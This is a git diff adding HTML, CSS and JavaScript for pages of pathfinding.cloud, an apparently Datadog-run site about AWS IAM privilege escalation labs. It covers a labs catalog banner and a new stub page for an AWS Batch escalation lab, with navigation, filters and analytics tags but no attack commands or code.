+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/batch-003/index.html b/docs/labs/batch-003/index.html
new file mode 100644
index 00000000..4f73fa2d
--- /dev/null
+++ b/docs/labs/batch-003/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS Batch Full Pipeline Creation to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="User with iam:PassRole and broad Batch permissions creates entire Batch pipeline from scratch -- compute environment, job queue, job definition with admin jobRoleArn -- and submits a job to escalate to admin">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/batch-003/">
+    <meta property="og:title" content="AWS Batch Full Pipeline Creation to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="User with iam:PassRole and broad Batch permissions creates entire Batch pipeline from scratch -- compute environment, job queue, job definition with admin jobRoleArn -- and submits a job to escalate to admin">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS Batch Full Pipeline Creation to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="User with iam:PassRole and broad Batch permissions creates entire Batch pipeline from scratch -- compute environment, job queue, job definition with admin jobRoleArn -- and submits a job to escalate to admin">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
